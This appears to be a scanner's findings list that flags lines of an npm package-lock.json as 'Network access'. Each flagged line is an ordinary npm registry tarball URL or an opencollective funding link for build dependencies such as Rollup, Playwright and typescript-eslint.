"version": "2.0.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - Network accessline 1074
"resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - Network accessline 1082
"node_modules/@nodelib/fs.walk": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - Network accessline 1083
"version": "1.2.8", "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - Network accessline 1084
"resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - Network accessline 1096
"node_modules/@playwright/test": { "version": "1.63.0", "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.63.0.tgz", - Network accessline 1097
"version": "1.63.0", "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.63.0.tgz", "integrity": "sha512-oxMK4vllB9RK5NQ2l1pq1IfOf2AvnEuj/vYGDj0H2nMtmtZpKtCwt/l00GEO6xjGfpBNAvjovvYdCm50dRQkpQ==", - Network accessline 1098
"resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.63.0.tgz", - Network accessline 1112
"node_modules/@rolldown/pluginutils": { "version": "1.0.0-beta.27", "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", - Network accessline 1113
"version": "1.0.0-beta.27", "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAn - Network accessline 1114
"resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", - Network accessline 1119
"node_modules/@rollup/rollup-android-arm-eabi": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", - Network accessline 1120
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xw - Network accessline 1121
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", - Network accessline 1133
"node_modules/@rollup/rollup-android-arm64": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", - Network accessline 1134
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBSho - Network accessline 1135
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", - Network accessline 1147
"node_modules/@rollup/rollup-darwin-arm64": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", - Network accessline 1148
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m - Network accessline 1149
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", - Network accessline 1161
"node_modules/@rollup/rollup-darwin-x64": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", - Network accessline 1162
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w= - Network accessline 1163
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", - Network accessline 1175
"node_modules/@rollup/rollup-freebsd-arm64": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", - Network accessline 1176
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9 - Network accessline 1177
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", - Network accessline 1189
"node_modules/@rollup/rollup-freebsd-x64": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", - Network accessline 1190
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3V - Network accessline 1191
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", - Network accessline 1203
"node_modules/@rollup/rollup-linux-arm-gnueabihf": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", - Network accessline 1204
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKi - Network accessline 1205
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", - Network accessline 1217
"node_modules/@rollup/rollup-linux-arm-musleabihf": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", - Network accessline 1218
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4e - Network accessline 1219
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", - Network accessline 1231
"node_modules/@rollup/rollup-linux-arm64-gnu": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", - Network accessline 1232
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54 - Network accessline 1233
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", - Network accessline 1245
"node_modules/@rollup/rollup-linux-arm64-musl": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", - Network accessline 1246
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsi - Network accessline 1247
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", - Network accessline 1259
"node_modules/@rollup/rollup-linux-loong64-gnu": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", - Network accessline 1260
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9Cs - Network accessline 1261
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", - Network accessline 1273
"node_modules/@rollup/rollup-linux-loong64-musl": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", - Network accessline 1274
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxp - Network accessline 1275
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", - Network accessline 1287
"node_modules/@rollup/rollup-linux-ppc64-gnu": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", - Network accessline 1288
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6m - Network accessline 1289
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", - Network accessline 1301
"node_modules/@rollup/rollup-linux-ppc64-musl": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", - Network accessline 1302
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/p - Network accessline 1303
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", - Network accessline 1315
"node_modules/@rollup/rollup-linux-riscv64-gnu": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", - Network accessline 1316
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WO - Network accessline 1317
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", - Network accessline 1329
"node_modules/@rollup/rollup-linux-riscv64-musl": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", - Network accessline 1330
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM - Network accessline 1331
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", - Network accessline 1343
"node_modules/@rollup/rollup-linux-s390x-gnu": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", - Network accessline 1344
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+r - Network accessline 1345
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", - Network accessline 1357
"node_modules/@rollup/rollup-linux-x64-gnu": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", - Network accessline 1358
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAk - Network accessline 1359
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", - Network accessline 1371
"node_modules/@rollup/rollup-linux-x64-musl": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", - Network accessline 1372
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyo - Network accessline 1373
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", - Network accessline 1385
"node_modules/@rollup/rollup-openbsd-x64": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", - Network accessline 1386
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/j - Network accessline 1387
"resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", - Network accessline 1399
"node_modules/@rollup/rollup-openharmony-arm64": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", - Network accessline 1400
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+ - Network accessline 1401
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", - Network accessline 1413
"node_modules/@rollup/rollup-win32-arm64-msvc": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", - Network accessline 1414
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9g - Network accessline 1415
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", - Network accessline 1427
"node_modules/@rollup/rollup-win32-ia32-msvc": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", - Network accessline 1428
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4 - Network accessline 1429
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", - Network accessline 1441
"node_modules/@rollup/rollup-win32-x64-gnu": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", - Network accessline 1442
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXi - Network accessline 1443
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", - Network accessline 1455
"node_modules/@rollup/rollup-win32-x64-msvc": { "version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", - Network accessline 1456
"version": "4.59.0", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj - Network accessline 1457
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", - Network accessline 1469
"node_modules/@types/babel__core": { "version": "7.20.5", "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - Network accessline 1470
"version": "7.20.5", "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", - Network accessline 1471
"resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - Network accessline 1483
"node_modules/@types/babel__generator": { "version": "7.27.0", "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - Network accessline 1484
"version": "7.27.0", "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", - Network accessline 1485
"resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - Network accessline 1493
"node_modules/@types/babel__template": { "version": "7.4.4", "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - Network accessline 1494
"version": "7.4.4", "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", - Network accessline 1495
"resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - Network accessline 1504
"node_modules/@types/babel__traverse": { "version": "7.28.0", "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - Network accessline 1505
"version": "7.28.0", "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", - Network accessline 1506
"resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - Network accessline 1514
"node_modules/@types/estree": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - Network accessline 1515
"version": "1.0.8", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - Network accessline 1516
"resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - Network accessline 1521
"node_modules/@types/json-schema": { "version": "7.0.15", "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", - Network accessline 1522
"version": "7.0.15", "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", - Network accessline 1523
"resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", - Network accessline 1528
"node_modules/@types/react": { "version": "19.3.0", "resolved": "https://registry.npmjs.org/@types/react/-/react-19.3.0.tgz", - Network accessline 1529
"version": "19.3.0", "resolved": "https://registry.npmjs.org/@types/react/-/react-19.3.0.tgz", "integrity": "sha512-N0rFCuH9YoxG9/m61l9MfpJKfmLOVU0em7ipIz6TRgSSkvReLB9vL85GB+yr8Bs5leqpvg96JSwF4ZS1s4viQg==", - Network accessline 1530
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.3.0.tgz", - Network accessline 1538
"node_modules/@types/react-dom": { "version": "19.3.0", "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.3.0.tgz", - Network accessline 1539
"version": "19.3.0", "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.3.0.tgz", "integrity": "sha512-ZI7bU42mZXXKHn/qNLEw2IrbiINU7X5+vfgdixBHkCNpYWXjKgfQ/P+uyGb5CjOLB9UcnTeg3rylQtV2hym44Q==", - Network accessline 1540
"resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.3.0.tgz", - Network accessline 1548
"node_modules/@types/trusted-types": { "version": "2.0.7", "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz", - Network accessline 1549
"version": "2.0.7", "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz", "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==", - Network accessline 1550
"resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz", - Network accessline 1556
"node_modules/@typescript-eslint/eslint-plugin": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.71.0.tgz", - Network accessline 1557
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.71.0.tgz", "integrity": "sha512-pqcS9c1HxZTHt7End4nXqd0s5lJrrFzrgCkKFJrsbUnaL6M3+6oBFZaslg6Gjsl3argl2DDRFROnXARaZ2e4 - Network accessline 1558
"resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.71.0.tgz", - Network accessline 1575
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1576
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - Network accessline 1577
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1585
"node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { "version": "7.0.10", "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.10.tgz", - Network accessline 1586
"version": "7.0.10", "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.10.tgz", "integrity": "sha512-HpbUakT7xp5miBUywCHf36ZEuAJNklBJDDsGpUIjMzOSmM8ELSfA9Sa/QDPeNeqeoN31u+UTCkL4klCOVvRm4Q==", - Network accessline 1587
"resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.10.tgz", - Network accessline 1595
"node_modules/@typescript-eslint/parser": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.71.0.tgz", - Network accessline 1596
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.71.0.tgz", "integrity": "sha512-CG4nPk1f2zc8yw4pALqHsFYH2hdo+h1T9daSp21+Hnxi9LOE3GT9hAfTKJCBXVNM2GmYs1eMEP615wPoeOgk3A==", - Network accessline 1597
"resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.71.0.tgz", - Network accessline 1611
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1612
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - Network accessline 1613
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1620
"node_modules/@typescript-eslint/project-service": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.71.0.tgz", - Network accessline 1621
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.71.0.tgz", "integrity": "sha512-aABjw5rjBacYONVPaPiWOCjJu0vEF4a25iQuodlmQYL1trtLZ0X/y+2Vzl3BKI1odM4LnwLE1oUDXYp1 - Network accessline 1622
"resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.71.0.tgz", - Network accessline 1634
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1635
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - Network accessline 1636
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1642
"node_modules/@typescript-eslint/scope-manager": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.71.0.tgz", - Network accessline 1643
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.71.0.tgz", "integrity": "sha512-gWF0BhUcnjZxSpLE8ngS/59n2SB0J3YqRxvX1+2aoRJk9hNtHSLOV+TcarFiOr5ipXm3yc1QrI4c9YZc8zyC - Network accessline 1644
"resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.71.0.tgz", - Network accessline 1655
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1656
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" } - Network accessline 1657
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1660
"node_modules/@typescript-eslint/tsconfig-utils": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.71.0.tgz", - Network accessline 1661
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.71.0.tgz", "integrity": "sha512-Z1UlWHADEK2Mlb9NpWfDeSjqoZ5EyrOv4R3eQpbkzqn/EwaIdOpXXupEA1+0ZIOSJSZZDBHG0BrQyN8zUG - Network accessline 1662
"resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.71.0.tgz", - Network accessline 1669
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1670
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - Network accessline 1671
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1677
"node_modules/@typescript-eslint/type-utils": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.71.0.tgz", - Network accessline 1678
